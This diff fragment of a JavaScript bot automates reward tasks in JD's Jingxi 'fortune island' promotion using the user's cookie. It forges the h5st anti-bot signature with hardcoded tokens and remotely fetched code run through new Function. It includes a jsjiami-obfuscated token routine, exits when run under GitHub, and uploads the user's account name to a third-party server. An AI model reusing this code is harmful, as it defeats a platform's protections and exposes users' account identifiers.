buildInfo, + ddwRichBalance, + ddwCoinBalance, + strMyShareId, + LeadInfo, + StoryInfo, + XbStatus + }); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function getPropTask() { + return new Promise((resolve) => { + $.get(taskUrl(`story/GetPropTask`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getPropTask API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + for (let key of Object.keys(data.Data.TaskList)) { + let vo = data.Data.TaskList[key] + if ((vo.dwCompleteNum < vo.dwTargetNum) && ![9, 11].includes(vo.dwPointType)) { + await doTask(vo.ddwTaskId, 3) + await $.wait(2000) + } else { + if ((vo.dwCompleteNum >= vo.dwTargetNum) && vo.dwAwardStatus !== 1) { + console.log(`【${vo.strTaskName}】已完成,去领取奖励`) + await $.wait(2000) + await awardTask(2, vo) + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//任务 +function getTaskList(taskType) { + return new Promise(async (resolve) => { + switch (taskType){ + case 0: //日常任务 + $.get(taskListUrl("GetUserTaskStatusList", `taskId=0&showAreaTaskFlag=${$.showPp}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetUserTaskStatusList 日常任务 API请求失败,请检查网路重试`) + } else { + const { ret, data: { userTaskStatusList = [] } = {}, msg } = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + $.allTask = userTaskStatusList.filter((x) => x.awardStatus !== 1 && x.taskCaller === 1); + if($.allTask.length === 0) { + console.log(`【📆日常任务】已做完`) + } else { + console.log(`获取【📆日常任务】列表 ${msg},总共${$.allTask.length}个任务!\n${$.showLog ? data : ""}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + break; + case 1: //成就任务 + $.get(taskListUrl("GetUserTaskStatusList"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetUserTaskStatusList 成就任务 API请求失败,请检查网路重试`) + } else { + const { ret, data: { userTaskStatusList = [] } = {}, msg } = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + $.allTask = userTaskStatusList.filter((x) => (x.completedTimes >= x.targetTimes) && x.awardStatus !== 1 && x.taskCaller === 2); + if($.allTask.length === 0) { + console.log(`【🎖成就任务】没有可领奖的任务\n`) + } else { + console.log(`获取【🎖成就任务】列表 ${msg},总共${$.allTask.length}个任务!\n${$.showLog ? data : ""}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + break; + default: + break; + } + }); +} + +//浏览任务 + 做任务 + 领取奖励 +function browserTask(taskType) { + return new Promise(async (resolve) => { + switch (taskType) { + case 0://日常任务 + for (let i = 0; i < $.allTask.length; i++) { + const start = $.allTask[i].completedTimes, end = $.allTask[i].targetTimes, bizCode = $.allTask[i]?.bizCode ?? "jxbfd" + const taskinfo = $.allTask[i]; + console.log(`开始第${i + 1}个【📆日常任务】${taskinfo.taskName}\n`); + for (let i = start; i < end; i++) { + //做任务 + console.log(`【📆日常任务】${taskinfo.taskName} 进度:${i + 1}/${end}`) + await doTask(taskinfo.taskId, null, bizCode); + await $.wait(2000); + } + //领取奖励 + await awardTask(0, taskinfo, bizCode); + } + break; + case 1://成就任务 + for (let i = 0; i < $.allTask.length; i++) { + const taskinfo = $.allTask[i]; + console.log(`开始第${i + 1}个【🎖成就任务】${taskinfo.taskName}\n`); + if(taskinfo.completedTimes < taskinfo.targetTimes){ + console.log(`【领成就奖励】${taskinfo.taskName} 该成就任务未达到门槛\n`); + } else { + //领奖励 + await awardTask(1, taskinfo); + await $.wait(2000); + } + } + break; + default: + break; + } + resolve(); + }); +} + +//做任务 +function doTask(taskId, type = 1, bizCodeXx) { + return new Promise(async (resolve) => { + let bizCode = `jxbfd`; + if (type === 2) bizCode = `jxbfddch`; + if (type === 3) bizCode = `jxbfdprop`; + if (bizCodeXx) bizCode = bizCodeXx + $.get(taskListUrl(`DoTask`, `taskId=${taskId}`, bizCode), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} DoTask API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} + +//领取奖励 +function awardTask(taskType, taskinfo, bizCode = "jxbfd") { + return new Promise((resolve) => { + const {taskId, taskName} = taskinfo; + const {ddwTaskId, strTaskName} = taskinfo; + switch (taskType) { + case 0://日常任务 + $.get(taskListUrl(`Award`, `taskId=${taskId}`, bizCode), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} Award API请求失败,请检查网路重试`) + } else { + const {msg, ret, data: {prizeInfo = ''} = {}} = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + let str = ''; + if (msg.indexOf('活动太火爆了') !== -1) { + str = '任务为成就任务或者未到任务时间'; + } else { + str = msg + prizeInfo ? `获得金币 ¥ ${JSON.parse(prizeInfo).ddwCoin}` : ''; + } + console.log(`【领日常奖励】${taskName} ${str}\n${$.showLog ? data : ''}`); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + break + case 1://成就奖励 + $.get(taskListUrl(`Award`, `taskId=${taskId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} AchieveAward API请求失败,请检查网路重试`) + } else { + const {msg, ret, data: {prizeInfo = ''} = {}} = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if(msg.indexOf('活动太火爆了') !== -1) { + console.log(`活动太火爆了`) + } else { + console.log(`【领成就奖励】${taskName} 获得财富值 ¥ ${JSON.parse(prizeInfo).ddwMoney}\n${$.showLog ? data : ''}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + break + case 2: + $.get(taskListUrl(`Award`, `taskId=${ddwTaskId}`, `jxbfdprop`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} Award API请求失败,请检查网路重试`) + } else { + const {msg, ret, data: {prizeInfo = ''} = {}} = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if(msg.indexOf('活动太火爆了') !== -1) { + console.log(`活动太火爆了`) + } else { + console.log(`【领卡片奖励】${strTaskName} 获得 ${JSON.parse(prizeInfo).CardInfo.CardList[0].strCardName}\n${$.showLog ? data : ''}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + default: + break + } + }); +} + +// 新手任务 +async function noviceTask(){ + let body = `` + await init(`user/guideuser`, body) + body = `strMark=guider_step&strValue=welcom&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_over_flag&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_over_flag&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=gift_redpack&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=none&dwType=2` + await init(`user/SetMark`, body) +} +async function init(function_path, body) { + return new Promise(async (resolve) => { + $.get(taskUrl(function_path, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} init API请求失败,请检查网路重试`) + } else { + if (function_path == "user/SetMark") opId = 23 + if (function_path == "user/guideuser") opId = 27 + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + contents = `1771|${opId}|${data.iRet}|0|${data.sErrMsg || 0}` + await biz(contents) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function biz(contents){ + return new Promise(async (resolve) => { + let option = { + url:`https://m.jingxi.com/webmonitor/collect/biz.json?contents=${contents}&t=${Math.random()}&sceneval=2`, + headers: { + Cookie: cookie, + Accept: "*/*", + Connection: "keep-alive", + Referer: "https://st.jingxi.com/fortune_island/index.html?ptag=138631.26.55", + "Accept-Encoding": "gzip, deflate, br", + Host: 'm.jingxi.com', + "User-Agent": UA, + "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", + } + } + $.get(option, async (err, resp, _data) => { + try { + // console.log(_data) + } + catch (e) { + $.logErr(e, resp); + } + finally { + resolve(); + } + }) + }) +} + +function taskUrl(function_path, body = '', dwEnv = 7) { + let url = `${JD_API_HOST}jxbfd/${function_path}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=${dwEnv}&_cfd_t=${Date.now()}&ptag=7155.9.47${body ? `&${body}` : ''}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + return { + url, + headers: { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": UA, + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://st.jingxi.com/", + "Cookie": `cid=4;${cookie}` + } + } +} + +function taskListUrl(function_path, body = '', bizCode = 'jxbfd') { + let url = `${JD_API_HOST}newtasksys/newtasksys_front/${function_path}?strZone=jxbfd&bizCode=${bizCode}&source=jxbfd&dwEnv=7&_cfd_t=${Date.now()}&ptag=7155.9.47${body ? `&${body}` : ''}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + return { + url, + headers: { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": UA, + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://st.jingxi.com/", + "Cookie": `cid=4;${cookie}` + } + } +} +function getStk(url) { + let arr = url.split('&').map(x => x.replace(/.*\?/, "").replace(/=.*/, "")) + return encodeURIComponent(arr.filter(x => x).sort().join(',')) +} +function randomString(e) { + e = e || 32; + let t = "0123456789abcdef", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function showMsg() { + return new Promise(async (resolve) => { + if ($.result.length) { + if ($.notifyTime) { + const notifyTimes = $.notifyTime.split(",").map((x) => x.split(":")); + const now = $.time("HH:mm").split(":"); + console.log(`\n${JSON.stringify(notifyTimes)}`); + console.log(`\n${JSON.stringify(now)}`); + if ( notifyTimes.some((x) => x[0] === now[0] && (!x[1] || x[1] === now[1])) ) { + $.msg($.name, "", `${$.result.join("\n")}`); + } + } else { + $.msg($.name, "", `${$.result.join("\n")}`); + } + + if ($.isNode() && process.env.CFD_NOTIFY_CONTROL) + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${$.result.join("\n")}`); + } + resolve(); + }); +} + +function readShareCode() { + return new Promise(async resolve => { + $.get({url: `https://transfer.nz.lu/cfd`, timeout: 30 * 1000}, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} readShareCode API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`\n随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(30 * 1000); + resolve() + }) +} +function uploadShareCode(code) { + return new Promise(async resolve => { + $.post({url: `https://transfer.nz.lu/upload/cfd?code=${code}&ptpin=${encodeURIComponent(encodeURIComponent($.UserName))}`, timeout: 30 * 1000}, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} uploadShareCode API请求失败,请检查网路重试`) + } else { + if (data) { + if (data === 'OK') { + console.log(`已自动提交助力码\n`) + } else if (data === 'error') { + console.log(`助力码格式错误,乱玩API是要被打屁屁的~\n`) + } else if (data === 'full') { + console.log(`车位已满,请等待下一班次\n`) + } else if (data === 'exist') { + console.log(`助力码已经提交过了~\n`) + } else if (data === 'not in whitelist') { + console.log(`提交助力码失败,此用户不在白名单中\n`) + } else { + console.log(`未知错误:${data}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(30 * 1000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + $.newShareCodes = [] + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.shareCodes, ...$.strMyShareIds, ...(readShareCodeRes.data || [])])]; + } else { + $.newShareCodes = [...new Set([...$.shareCodes, ...$.strMyShareIds])]; + } + console.log(`您将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function TotalBean() { + return new Promise(resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "User-Agent": "ScriptableWidgetExtension/185 CFNetwork/1312 Darwin/21.0.0", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + return new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + console.log(`获取签名参数成功!`) + console.log(`fp: ${$.fingerprint}`) + console.log(`token: ${$.token}`) + console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2), "".concat("3.0"), "".concat(time)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) +} +var _0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var _0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let _0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new Date())[_0x5108('7','U*Pv')]();if(!cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; +!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const 